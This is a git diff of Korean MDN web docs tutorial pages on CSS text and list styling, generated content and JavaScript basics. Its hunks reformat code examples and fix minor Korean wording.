index 0e96a904c0aceb..1c7a456093d623 100644
--- a/files/ko/learn/css/howto/generated_content/index.md
+++ b/files/ko/learn/css/howto/generated_content/index.md
@@ -2,7 +2,8 @@
 title: 내용물
 slug: Learn/CSS/Howto/Generated_content
 ---
-> **경고:** **중요**: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/18)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.
+
+> **경고:** 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/18)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.
 
 [CSS 시작하기](/en/CSS/Getting_Started) 안내서 9번째 장; 이번에는 CSS에서Document에 표시될 내용물을 추가 하는 방법을 알아보자. stylesheet를 수정해서 텍스트 내용과 이미지를 수정해 보자.
 
@@ -51,7 +52,9 @@ element 전/후로 이미지를 추가 하려면, {{ cssxref("content") }}속성
 이 규칙은 `'glossary`' class 다음에 공백과 하나의 아이콘을 추가한다.
 
 ```css
-a.glossary:after {content: " " url("../images/glossary-icon.gif");}
+a.glossary:after {
+  content: " " url("../images/glossary-icon.gif");
+}
 ```
 
 element의 배경으로 이미지를 추가 하고자 한다면, {{ cssxref("background") }}속성 값에 이미지의 URL을 할당 하라. 이것이 배경색이나, 이미지를 설정하거나, 이미지를 반복하거나 혹은 다른 사항을 설정하는 단순한 방법이다.
@@ -63,7 +66,9 @@ element의 배경으로 이미지를 추가 하고자 한다면, {{ cssxref("bac
 이 설렉터는 element의 id를 나타낸다. `'no-repeat'` 값은 이미지가 한번만 나타나는 것을 말한다.
 
 ```css
-#sidebar-box {background: url("../images/sidebar-ground.png") no-repeat;}
+#sidebar-box {
+  background: url("../images/sidebar-ground.png") no-repeat;
+}
 ```
 
 좀더 자세히
@@ -75,29 +80,29 @@ element의 배경으로 이미지를 추가 하고자 한다면, {{ cssxref("bac
 이 이미지는 아래쪽에 파란색 줄이 있는 흰사각형이다.:
 
 | ![Image:Blue-rule.png](blue-rule.png) |
-| ---------------------------------------------------------- |
+| ------------------------------------- |
 
 1. 이 이미지를 다운 받아 예제파일들이 있는 폴더에 저장하라. (이미지에서 왼쪽 클릭을 하여 나타나는 메뉴에서 "다른 이름으로 사진저장"을 선택하여 예제가 있는 폴더를 선택하여 저장)
 2. CSS파일을 열어 아래 규칙을 body부분에 추가 하여 전체 배경으로 해당 이미지를 설정하라.
 
-    ```css
-    background: url("Blue-rule.png");
-    ```
+   ```css
+   background: url("Blue-rule.png");
+   ```
 
-    일단 위의 값은 이미지를 반복적으로 보여주는데, 기본 설정이므로 따로 표시 해 줄 필요는 없다. 이미지는 수직/수평적으로 반복되어 아래와 같이 편지지 같은 화면을 제공한다.
+   일단 위의 값은 이미지를 반복적으로 보여주는데, 기본 설정이므로 따로 표시 해 줄 필요는 없다. 이미지는 수직/수평적으로 반복되어 아래와 같이 편지지 같은 화면을 제공한다.
 
-    ![Image:Blue-rule-ground.png](blue-rule-ground.png)
+   ![Image:Blue-rule-ground.png](blue-rule-ground.png)
 
-    **C**ascading **S**tyle **S**heets
+   **C**ascading **S**tyle **S**heets
 
-    **C**ascading **S**tyle **S**heets
+   **C**ascading **S**tyle **S**heets
 
 도전
 
 아래 아미지를 다운 받아보라.
 
 | ![Image:Yellow-pin.png](yellow-pin.png) |
-| ------------------------------------------------------------- |
+| --------------------------------------- |
 
 Stylesheet에 하나의 규칙을 추가 하여 아래와 같이 각라인 맨 앞에 나타나도록 하라.
 
@@ -108,7 +113,7 @@ Stylesheet에 하나의 규칙을 추가 하여 아래와 같이 각라인 맨 
 Add this rule to your stylesheet:
 
 ```css
-p:before{
+p:before {
   content: url("yellow-pin.png");
 }
 ```
diff --git a/files/ko/learn/css/styling_text/fundamentals/index.md b/files/ko/learn/css/styling_text/fundamentals/index.md
index 79161d0926ef24..b2628992d29be1 100644
--- a/files/ko/learn/css/styling_text/fundamentals/index.md
+++ b/files/ko/learn/css/styling_text/fundamentals/index.md
@@ -53,12 +53,13 @@ HTML 및 CSS 를 사용한 작업에서 이미 경험한 것처럼 요소 내부
 
 <p>I remember as if it were a meal ago...</p>
 
-<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter
- may have nestled its way into his mighty throat. Many a fat alley rat
-had met its demise while staring point blank down the cavernous barrel of
- this awesome prowling machine. Truly a wonder of nature this urban
-predator — Tommy the cat had many a story to tell. But it was a rare
-occasion such as this that he did.</p>
+<p>
+  Said Tommy the Cat as he reeled back to clear whatever foreign matter may have
+  nestled its way into his mighty throat. Many a fat alley rat had met its
+  demise while staring point blank down the cavernous barrel of this awesome
+  prowling machine. Truly a wonder of nature this urban predator — Tommy the cat
+  had many a story to tell. But it was a rare occasion such as this that he did.
+</p>
 ```
 
 [완성된 예제는 Github](http://mdn.github.io/learning-area/css/styling-text/fundamentals/) 에서 찾을 수 있습니다 ([소스 코드](https://github.com/mdn/learning-area/blob/master/css/styling-text/fundamentals/index.html) 참조.)
@@ -82,12 +83,13 @@ p {
 
 <p>I remember as if it were a meal ago...</p>
 
-<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter
- may have nestled its way into his mighty throat. Many a fat alley rat
-had met its demise while staring point blank down the cavernous barrel of
- this awesome prowling machine. Truly a wonder of nature this urban
-predator — Tommy the cat had many a story to tell. But it was a rare
-occasion such as this that he did.</p>
+<p>
+  Said Tommy the Cat as he reeled back to clear whatever foreign matter may have
+  nestled its way into his mighty throat. Many a fat alley rat had met its
+  demise while staring point blank down the cavernous barrel of this awesome
+  prowling machine. Truly a wonder of nature this urban predator — Tommy the cat
+  had many a story to tell. But it was a rare occasion such as this that he did.
+</p>
 ```
 
 {{ EmbedLiveSample('Color', '100%', 220) }}
@@ -173,12 +175,13 @@ p {
 
 <p>I remember as if it were a meal ago...</p>
 
-<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter
- may have nestled its way into his mighty throat. Many a fat alley rat
-had met its demise while staring point blank down the cavernous barrel of
- this awesome prowling machine. Truly a wonder of nature this urban
-predator — Tommy the cat had many a story to tell. But it was a rare
-occasion such as this that he did.</p>
+<p>
+  Said Tommy the Cat as he reeled back to clear whatever foreign matter may have
+  nestled its way into his mighty throat. Many a fat alley rat had met its
+  demise while staring point blank down the cavernous barrel of this awesome
+  prowling machine. Truly a wonder of nature this urban predator — Tommy the cat
+  had many a story to tell. But it was a rare occasion such as this that he did.
+</p>
 ```
 
 {{ EmbedLiveSample('A_font-family_example', '100%', 220) }}
@@ -197,8 +200,10 @@ Things become more tricky when you start altering the font size of nested elemen
 
 ```html
 <!-- document base font-size is 16px -->
-<article> <!-- If my font-size is 1.5em -->
-  <p>My paragraph</p> <!-- How do I compute to 20px font-size? -->
+<article>
+  <!-- If my font-size is 1.5em -->
+  <p>My paragraph</p>
+  <!-- How do I compute to 20px font-size? -->
 </article>
 ```
 
@@ -215,12 +220,13 @@ Our new result is like so:
 
 <p>I remember as if it were a meal ago...</p>
 
-<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter
- may have nestled its way into his mighty throat. Many a fat alley rat
-had met its demise while staring point blank down the cavernous barrel of
- this awesome prowling machine. Truly a wonder of nature this urban
-predator — Tommy the cat had many a story to tell. But it was a rare
-occasion such as this that he did.</p>
+<p>
+  Said Tommy the Cat as he reeled back to clear whatever foreign matter may have
+  nestled its way into his mighty throat. Many a fat alley rat had met its
+  demise while staring point blank down the cavernous barrel of this awesome
+  prowling machine. Truly a wonder of nature this urban predator — Tommy the cat
+  had many a story to tell. But it was a rare occasion such as this that he did.
+</p>
 ```
 
 ```css
@@ -283,12 +289,13 @@ Our new result is like so:
 
 <p>I remember as if it were a meal ago...</p>
 
-<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter
- may have nestled its way into his mighty throat. Many a fat alley rat
-had met its demise while staring point blank down the cavernous barrel of
- this awesome prowling machine. Truly a wonder of nature this urban
-predator — Tommy the cat had many a story to tell. But it was a rare
-occasion such as this that he did.</p>
+<p>
+  Said Tommy the Cat as he reeled back to clear whatever foreign matter may have
+  nestled its way into his mighty throat. Many a fat alley rat had met its
+  demise while staring point blank down the cavernous barrel of this awesome
+  prowling machine. Truly a wonder of nature this urban predator — Tommy the cat
+  had many a story to tell. But it was a rare occasion such as this that he did.
+</p>
 ```
 
 ```css
@@ -336,10 +343,11 @@ The four properties are as follows:
 You can apply multiple shadows to the same text by including multiple shadow values separated by commas, for example:
 
 ```css
-text-shadow: -1px -1px 1px #aaa,
-             0px 4px 1px rgba(0,0,0,0.5),
-             4px 4px 5px rgba(0,0,0,0.7),
-             0px 0px 7px rgba(0,0,0,0.4);
+text-shadow:
+  -1px -1px 1px #aaa,
+  0px 4px 1px rgba(0, 0, 0, 0.5),
+  4px 4px 5px rgba(0, 0, 0, 0.7),
+  0px 0px 7px rgba(0, 0, 0, 0.4);
 ```
 
 If we applied this to the {{htmlelement("h1")}} element in our Tommy the cat example, we'd end up with this:
@@ -349,12 +357,13 @@ If we applied this to the {{htmlelement("h1")}} element in our Tommy the cat exa
 
 <p>I remember as if it were a meal ago...</p>
 
-<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter
- may have nestled its way into his mighty throat. Many a fat alley rat
-had met its demise while staring point blank down the cavernous barrel of
- this awesome prowling machine. Truly a wonder of nature this urban
-predator — Tommy the cat had many a story to tell. But it was a rare
-occasion such as this that he did.</p>
+<p>
+  Said Tommy the Cat as he reeled back to clear whatever foreign matter may have
+  nestled its way into his mighty throat. Many a fat alley rat had met its
+  demise while staring point blank down the cavernous barrel of this awesome
+  prowling machine. Truly a wonder of nature this urban predator — Tommy the cat
+  had many a story to tell. But it was a rare occasion such as this that he did.
+</p>
 ```
 
 ```css hidden
@@ -365,10 +374,11 @@ html {
 h1 {
   font-size: 26px;
   text-transform: capitalize;
-  text-shadow: -1px -1px 1px #aaa,
-               0px 2px 1px rgba(0,0,0,0.5),
-               2px 2px 2px rgba(0,0,0,0.7),
-               0px 0px 3px rgba(0,0,0,0.4);
+  text-shadow:
+    -1px -1px 1px #aaa,
+    0px 2px 1px rgba(0, 0, 0, 0.5),
+    2px 2px 2px rgba(0, 0, 0, 0.7),
+    0px 0px 3px rgba(0, 0, 0, 0.4);
 }
 
 h1 + p {
@@ -406,12 +416,13 @@ If we applied `text-align: center;` to the {{htmlelement("h1")}} in our example,
 
 <p>I remember as if it were a meal ago...</p>
 
-<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter
- may have nestled its way into his mighty throat. Many a fat alley rat
-had met its demise while staring point blank down the cavernous barrel of
- this awesome prowling machine. Truly a wonder of nature this urban
-predator — Tommy the cat had many a story to tell. But it was a rare
-occasion such as this that he did.</p>
+<p>
+  Said Tommy the Cat as he reeled back to clear whatever foreign matter may have
+  nestled its way into his mighty throat. Many a fat alley rat had met its
+  demise while staring point blank down the cavernous barrel of this awesome
+  prowling machine. Truly a wonder of nature this urban predator — Tommy the cat
+  had many a story to tell. But it was a rare occasion such as this that he did.
+</p>
 ```
 
 ```css hidden
@@ -422,10 +433,11 @@ html {
 h1 {
   font-size: 2.6rem;
   text-transform: capitalize;
-  text-shadow: -1px -1px 1px #aaa,
-               0px 2px 1px rgba(0,0,0,0.5),
-               2px 2px 2px rgba(0,0,0,0.7),
-               0px 0px 3px rgba(0,0,0,0.4);
+  text-shadow:
+    -1px -1px 1px #aaa,
+    0px 2px 1px rgba(0, 0, 0, 0.5),
+    2px 2px 2px rgba(0, 0, 0, 0.7),
+    0px 0px 3px rgba(0, 0, 0, 0.4);
   text-align: center;
 }
 
@@ -457,12 +469,13 @@ Applying this to the {{htmlelement("p")}} elements in our example would give us
 
 <p>I remember as if it were a meal ago...</p>
 
-<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter
- may have nestled its way into his mighty throat. Many a fat alley rat
-had met its demise while staring point blank down the cavernous barrel of
- this awesome prowling machine. Truly a wonder of nature this urban
-predator — Tommy the cat had many a story to tell. But it was a rare
-occasion such as this that he did.</p>
+<p>
+  Said Tommy the Cat as he reeled back to clear whatever foreign matter may have
+  nestled its way into his mighty throat. Many a fat alley rat had met its
+  demise while staring point blank down the cavernous barrel of this awesome
+  prowling machine. Truly a wonder of nature this urban predator — Tommy the cat
+  had many a story to tell. But it was a rare occasion such as this that he did.
+</p>
 ```
 
 ```css hidden
@@ -473,10 +486,11 @@ html {
 h1 {
   font-size: 2.6rem;
   text-transform: capitalize;
-  text-shadow: -1px -1px 1px #aaa,
-               0px 2px 1px rgba(0,0,0,0.5),
-               2px 2px 2px rgba(0,0,0,0.7),
-               0px 0px 3px rgba(0,0,0,0.4);
+  text-shadow:
+    -1px -1px 1px #aaa,
+    0px 2px 1px rgba(0, 0, 0, 0.5),
+    2px 2px 2px rgba(0, 0, 0, 0.7),
+    0px 0px 3px rgba(0, 0, 0, 0.4);
   text-align: center;
 }
 
@@ -514,12 +528,13 @@ We'd get the following:
 
 <p>I remember as if it were a meal ago...</p>
 
-<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter
- may have nestled its way into his mighty throat. Many a fat alley rat
-had met its demise while staring point blank down the cavernous barrel of
- this awesome prowling machine. Truly a wonder of nature this urban
-predator — Tommy the cat had many a story to tell. But it was a rare
-occasion such as this that he did.</p>
+<p>
+  Said Tommy the Cat as he reeled back to clear whatever foreign matter may have
+  nestled its way into his mighty throat. Many a fat alley rat had met its
+  demise while staring point blank down the cavernous barrel of this awesome
+  prowling machine. Truly a wonder of nature this urban predator — Tommy the cat
+  had many a story to tell. But it was a rare occasion such as this that he did.
+</p>
 ```
 
 ```css hidden
@@ -530,10 +545,11 @@ html {
 h1 {
   font-size: 2.6rem;
   text-transform: capitalize;
-  text-shadow: -1px -1px 1px #aaa,
-               0px 2px 1px rgba(0,0,0,0.5),
-               2px 2px 2px rgba(0,0,0,0.7),
-               0px 0px 3px rgba(0,0,0,0.4);
+  text-shadow:
+    -1px -1px 1px #aaa,
+    0px 2px 1px rgba(0, 0, 0, 0.5),
+    2px 2px 2px rgba(0, 0, 0, 0.7),
+    0px 0px 3px rgba(0, 0, 0, 0.4);
   text-align: center;
 }
 
@@ -601,7 +617,10 @@ A forward slash has to be put in between the {{cssxref("font-size")}} and {{cssx
 A full example would look like this:
 
 ```css
-font: italic normal bold normal 3em/1.5 Helvetica, Arial, sans-serif;
+font:
+  italic normal bold normal 3em/1.5 Helvetica,
+  Arial,
+  sans-serif;
 ```
 
 ## Active learning: Playing with styling text
@@ -611,20 +630,37 @@ In this active learning session, we don't have any specific exercises for you to
 If you make a mistake, you can always reset it using the _Reset_ button.
 
 ```html hidden
-<div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;">
+<div
+  class="body-wrapper"
+  style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;">
   <h2>HTML Input</h2>
-  <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">
-  <p>Some sample text for your delight</p></textarea>
+  <textarea
+    id="code"
+    class="html-input"
+    style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">
+  <p>Some sample text for your delight</p></textarea
+  >
 
   <h2>CSS Input</h2>
-  <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">p {
+  <textarea
+    id="code"
+    class="css-input"
+    style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">
+p {
 
-  }</textarea>
+  }</textarea
+  >
 
   <h2>Output</h2>
-  <div class="output" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></div>
+  <div
+    class="output"
+    style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></div>
   <div class="controls">
-    <input id="reset" type="button" value="Reset" style="margin: 10px 10px 0 0;">
+    <input
+      id="reset"
+      type="button"
+      value="Reset"
+      style="margin: 10px 10px 0 0;" />
   </div>
 </div>
 ```
@@ -637,8 +673,8 @@ var htmlCode = htmlInput.value;
 var cssCode = cssInput.value;
 var output = document.querySelector(".output");
 
-var styleElem = document.createElement('style');
-var headElem = document.querySelector('head');
+var styleElem = document.createElement("style");
+var headElem = document.querySelector("head");
 headElem.appendChild(styleElem);
 
 function drawOutput() {
@@ -646,7 +682,7 @@ function drawOutput() {
   styleElem.textContent = cssInput.value;
 }
 
-reset.addEventListener("click", function() {
+reset.addEventListener("click", function () {
   htmlInput.value = htmlCode;
   cssInput.value = cssCode;
   drawOutput();
diff --git a/files/ko/learn/css/styling_text/index.md b/files/ko/learn/css/styling_text/index.md
index afe571cc1209fe..bf474ae3bb9625 100644
--- a/files/ko/learn/css/styling_text/index.md
+++ b/files/ko/learn/css/styling_text/index.md
@@ -2,6 +2,7 @@
 title: 텍스트 스타일링
 slug: Learn/CSS/Styling_text
 ---
+
 {{LearnSidebar}}
 
 CSS 기초가 어느 정도 완성되었다면, 여러분이 집중해야 할 다음 CSS 주제는 CSS로 가장 흔하게 할 것 중 하나인 텍스트를 꾸며주는 것입니다. 우리는 글꼴 과 볼드체, 이탤릭체, 줄 띄어쓰기, 단어 띄어쓰기, 그림자 넣기 등과 같은 텍스트 기능을 설정하는 것을 포함한 텍스트 스타일링의 기초를 배웁니다. 여러분의 페이지에 사용자 정의 글꼴을 설정하고 리스트와 링크를 꾸며줌으로써 이 강의를 끝마칩니다.
diff --git a/files/ko/learn/css/styling_text/styling_lists/index.md b/files/ko/learn/css/styling_text/styling_lists/index.md
index 2724efd34fba2a..1de38a495eec0e 100644
--- a/files/ko/learn/css/styling_text/styling_lists/index.md
+++ b/files/ko/learn/css/styling_text/styling_lists/index.md
@@ -40,8 +40,10 @@ slug: Learn/CSS/Styling_text/Styling_lists
 ```html
 <h2>Shopping (unordered) list</h2>
 
-<p>Paragraph for reference, paragraph for reference, paragraph for reference,
-paragraph for reference, paragraph for reference, paragraph for reference.</p>
+<p>
+  Paragraph for reference, paragraph for reference, paragraph for reference,
+  paragraph for reference, paragraph for reference, paragraph for reference.
+</p>
 
 <ul>
   <li>Hummus</li>
@@ -52,28 +54,40 @@ paragraph for reference, paragraph for reference, paragraph for reference.</p>
 
 <h2>Recipe (ordered) list</h2>
 
-<p>Paragraph for reference, paragraph for reference, paragraph for reference,
-paragraph for reference, paragraph for reference, paragraph for reference.</p>
+<p>
+  Paragraph for reference, paragraph for reference, paragraph for reference,
+  paragraph for reference, paragraph for reference, paragraph for reference.
+</p>
 
 <ol>
   <li>Toast pita, leave to cool, then slice down the edge.</li>
-  <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
+  <li>
+    Fry the halloumi in a shallow, non-stick pan, until browned on both sides.
+  </li>
   <li>Wash and chop the salad.</li>
   <li>Fill pita with salad, hummus, and fried halloumi.</li>
 </ol>
 
 <h2>Ingredient description list</h2>
 
-<p>Paragraph for reference, paragraph for reference, paragraph for reference,
-paragraph for reference, paragraph for reference, paragraph for reference.</p>
+<p>
+  Paragraph for reference, paragraph for reference, paragraph for reference,
+  paragraph for reference, paragraph for reference, paragraph for reference.
+</p>
 
 <dl>
   <dt>Hummus</dt>
-  <dd>A thick dip/sauce generally made from chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.</dd>
+  <dd>
+    A thick dip/sauce generally made from chick peas blended with tahini, lemon
+    juice, salt, garlic, and other ingredients.
+  </dd>
   <dt>Pita</dt>
   <dd>A soft, slightly leavened flatbread.</dd>
   <dt>Halloumi</dt>
-  <dd>A semi-hard, unripened, brined cheese with a higher-than-usual melting point, usually made from goat/sheep milk.</dd>
+  <dd>
+    A semi-hard, unripened, brined cheese with a higher-than-usual melting
+    point, usually made from goat/sheep milk.
+  </dd>
   <dt>Green salad</dt>
   <dd>That green healthy stuff that many of us just use to garnish kebabs.</dd>
 </dl>
@@ -105,18 +119,22 @@ h2 {
   font-size: 2rem;
 }
 
-ul,ol,dl,p {
+ul,
+ol,
+dl,
+p {
   font-size: 1.5rem;
 }
 
-li, p {
+li,
+p {
   line-height: 1.5;
 }
 
 /* Description list styles */
 
-
-dd, dt {
+dd,
+dt {
   line-height: 1.5;
 }
 
@@ -250,7 +268,9 @@ The {{htmlattrxref("start","ol")}} attribute allows you to start the list counti
 ```html
 <ol start="4">
   <li>Toast pita, leave to cool, then slice down the edge.</li>
-  <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
+  <li>
+    Fry the halloumi in a shallow, non-stick pan, until browned on both sides.
+  </li>
   <li>Wash and chop the salad.</li>
   <li>Fill pita with salad, hummus, and fried halloumi.</li>
 </ol>
@@ -267,7 +287,9 @@ The {{htmlattrxref("reversed","ol")}} attribute will start the list counting dow
 ```html
 <ol start="4" reversed>
   <li>Toast pita, leave to cool, then slice down the edge.</li>
-  <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
+  <li>
+    Fry the halloumi in a shallow, non-stick pan, until browned on both sides.
+  </li>
   <li>Wash and chop the salad.</li>
   <li>Fill pita with salad, hummus, and fried halloumi.</li>
 </ol>
@@ -286,7 +308,9 @@ The {{htmlattrxref("value","ol")}} attribute allows you to set your list items t
 ```html
 <ol>
   <li value="2">Toast pita, leave to cool, then slice down the edge.</li>
-  <li value="4">Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
+  <li value="4">
+    Fry the halloumi in a shallow, non-stick pan, until browned on both sides.
+  </li>
   <li value="6">Wash and chop the salad.</li>
   <li value="8">Fill pita with salad, hummus, and fried halloumi.</li>
 </ol>
@@ -310,9 +334,15 @@ In this active learning session, we want you to take what you've learned above a
 If you make a mistake, you can always reset it using the _Reset_ button. If you get really stuck, press the _Show solution_ button to see a potential answer.
 
 ```html hidden
-<div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;">
+<div
+  class="body-wrapper"
+  style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;">
   <h2>HTML Input</h2>
-  <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"><ul>
+  <textarea
+    id="code"
+    class="html-input"
+    style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">
+<ul>
   <li>First, light the candle.</li>
   <li>Next, open the box.</li>
   <li>Finally, place the three magic items in the box, in this exact order, to complete the spell:
@@ -322,16 +352,30 @@ If you make a mistake, you can always reset it using the _Reset_ button. If you
       <li>The goblin statue</li>
     </ol>
   </li>
-</ul></textarea>
+</ul></textarea
+  >
 
   <h2>CSS Input</h2>
-  <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></textarea>
+  <textarea
+    id="code"
+    class="css-input"
+    style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></textarea>
 
   <h2>Output</h2>
-  <div class="output" style="width: 90%;height: 12em;padding: 10px;border: 1px solid #0095dd;overflow: auto;"></div>
+  <div
+    class="output"
+    style="width: 90%;height: 12em;padding: 10px;border: 1px solid #0095dd;overflow: auto;"></div>
   <div class="controls">
-    <input id="reset" type="button" value="Reset" style="margin: 10px 10px 0 0;">
-    <input id="solution" type="button" value="Show solution" style="margin: 10px 0 0 10px;">
+    <input
+      id="reset"
+      type="button"
+      value="Reset"
+      style="margin: 10px 10px 0 0;" />
+    <input
+      id="solution"
+      type="button"
+      value="Show solution"
+      style="margin: 10px 0 0 10px;" />
   </div>
 </div>
 ```
@@ -345,8 +389,8 @@ var cssCode = cssInput.value;
 var output = document.querySelector(".output");
 var solution = document.getElementById("solution");
 
-var styleElem = document.createElement('style');
-var headElem = document.querySelector('head');
+var styleElem = document.createElement("style");
+var headElem = document.querySelector("head");
 headElem.appendChild(styleElem);
 
 function drawOutput() {
@@ -354,15 +398,16 @@ function drawOutput() {
   styleElem.textContent = cssInput.value;
 }
 
-reset.addEventListener("click", function() {
+reset.addEventListener("click", function () {
   htmlInput.value = htmlCode;
   cssInput.value = cssCode;
   drawOutput();
 });
 
-solution.addEventListener("click", function() {
+solution.addEventListener("click", function () {
   htmlInput.value = htmlCode;
-  cssInput.value = 'ul {\n  list-style-type: square;\n}\n\nul li, ol li {\n  line-height: 1.5;\n}\n\nol {\n  list-style-type: lower-alpha\n}';
+  cssInput.value =
+    "ul {\n  list-style-type: square;\n}\n\nul li, ol li {\n  line-height: 1.5;\n}\n\nol {\n  list-style-type: lower-alpha\n}";
   drawOutput();
 });
 
diff --git a/files/ko/learn/getting_started_with_the_web/how_the_web_works/index.md b/files/ko/learn/getting_started_with_the_web/how_the_web_works/index.md
index 77cf5c12b2b166..cf6a05277f742d 100644
--- a/files/ko/learn/getting_started_with_the_web/how_the_web_works/index.md
+++ b/files/ko/learn/getting_started_with_the_web/how_the_web_works/index.md
@@ -65,7 +65,7 @@ original_slug: Learn/Getting_started_with_the_web/웹의_동작_방식
 
 - [인터넷 작동 방식](/ko/docs/Learn/Common_questions/How_does_the_Internet_work)
 - [HTTP — 어플리케이션-계층 규약](https://dev.opera.com/articles/http-basic-introduction/)
-- [HTTP: Let’s GET It On!](https://dev.opera.com/articles/http-lets-get-it-on/)
+- [HTTP: Let's GET It On!](https://dev.opera.com/articles/http-lets-get-it-on/)
 - [HTTP: 응답 코드](https://dev.opera.com/articles/http-response-codes/)
 
 ## 크레딧
diff --git a/files/ko/learn/getting_started_with_the_web/javascript_basics/index.md b/files/ko/learn/getting_started_with_the_web/javascript_basics/index.md
index 5c360c32579b17..307c75891fc65c 100644
--- a/files/ko/learn/getting_started_with_the_web/javascript_basics/index.md
+++ b/files/ko/learn/getting_started_with_the_web/javascript_basics/index.md
@@ -7,7 +7,7 @@ slug: Learn/Getting_started_with_the_web/JavaScript_basics
 
 {{PreviousMenuNext("Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}
 
-자바스크립트는 여러분의 웹사이트에 상호작용성(예를 들면, 게임, 버튼이 눌리거나 폼에 자료가 입력될 때 반응, 동적인 스타일링과 애니메이션)을 더해 주는 프로그래밍 언어 입니다. 이 글은 여러분이 이 흥미로운 언어를 시작하는 것을 도와드리고 가능한 것에 대한 아이디어를 제공할 것입니다.
+자바스크립트는 여러분의 웹사이트에 상호작용성(예를 들면, 게임, 버튼이 눌리거나 폼에 자료가 입력될 때 반응, 동적인 스타일링과 애니메이션)을 더해 주는 프로그래밍 언어입니다. 이 글은 여러분이 이 흥미로운 언어를 시작하는 것을 도와드리고 가능한 것에 대한 아이디어를 제공할 것입니다.
 
 ## 자바스크립트는 무엇인가?
 
@@ -60,7 +60,7 @@ slug: Learn/Getting_started_with_the_web/JavaScript_basics
 
 ## 언어 기본 특강
 
-이 모든 것이 작동하는 방식에 대해 더 잘 이해할 수 있도록 자바스크립트 언어의 핵심적인 특징을 몇 가지 설명드리겠습니다. 이런 특징은 모든 프로그래밍 언어에서 공통적으로 나타나는 것에 불과하므로 이런 원칙을 숙지한다면 어떤 것이라도 프로그램할 수 있게 될 것입니다!.
+이 모든 것이 작동하는 방식에 대해 더 잘 이해할 수 있도록 자바스크립트 언어의 핵심적인 특징을 몇 가지 설명드리겠습니다. 이런 특징은 모든 프로그래밍 언어에서 공통적으로 나타나는 것에 불과하므로 이런 원칙을 숙지한다면 어떤 것이라도 프로그램할 수 있게 될 것입니다!
 
 > **경고:** **중요**: 이 글에서는, 어떤 일이 발생하는지 확인 할 수 있게 자바스크립트 콘솔에 예제 코드를 입력합니다. 자바스크립트 콘솔에 대한 더 자세한 사항은, [브라우저 개발 도구 탐험하기](/ko/Learn/Discover_browser_developer_tools)를 보세요.
 
@@ -162,11 +162,11 @@ if (iceCream === 'chocolate') {
 }
 ```
 
-`if ( ... )` 안의 표현식은 테스트입니다 — 여기서는 (위에서 설명한 바와 같이)일치 연산자(identity operator)를 사용하여 변수 `iceCream`과 문자열 `chocolate`이 같은지를 비교합니다. 이 비교에서 `true`가 반환되면 코드의 첫 번째 블록이 실행됩니다. 이 비교가 참(true)가 아닌 경우에는 첫 번째 블록을 건너뛰고 `else`문 뒤에 있는 두 번째 코드 블록이 대신 실행됩니다.
+`if ( ... )` 안의 표현식은 테스트입니다 — 여기서는 (위에서 설명한 바와 같이)일치 연산자(identity operator)를 사용하여 변수 `iceCream`과 문자열 `chocolate`이 같은지를 비교합니다. 이 비교에서 `true`가 반환되면 코드의 첫 번째 블록이 실행됩니다. 이 비교가 참(true)이 아닌 경우에는 첫 번째 블록을 건너뛰고 `else`문 뒤에 있는 두 번째 코드 블록이 대신 실행됩니다.
 
 ### 함수
 
-{{Glossary("Function", "Functions")}}는 재사용하기를 원하는 기능을 담는 방법입니다. 그 절차(재사용 기능)가 필요할 때 매 번 전체 코드를 다시 작성하는 대신 함수의 이름으로 그 함수를 호출할 수 있습니다. 위에서 이미 몇 가지 함수의 사용법을 봤는데, 예를 들면:
+{{Glossary("Function", "Functions")}}는 재사용하기를 원하는 기능을 담는 방법입니다. 그 절차(재사용 기능)가 필요할 때 매번 전체 코드를 다시 작성하는 대신 함수의 이름으로 그 함수를 호출할 수 있습니다. 위에서 이미 몇 가지 함수의 사용법을 봤는데, 예를 들면:
 
 ```js
 let myVariable = document.querySelector('h1');
diff --git a/files/ko/learn/html/howto/author_fast-loading_html_pages/index.md b/files/ko/learn/html/howto/author_fast-loading_html_pages/index.md
index 80745dedaa04e4..64fb8e26006ed3 100644
--- a/files/ko/learn/html/howto/author_fast-loading_html_pages/index.md
+++ b/files/ko/learn/html/howto/author_fast-loading_html_pages/index.md
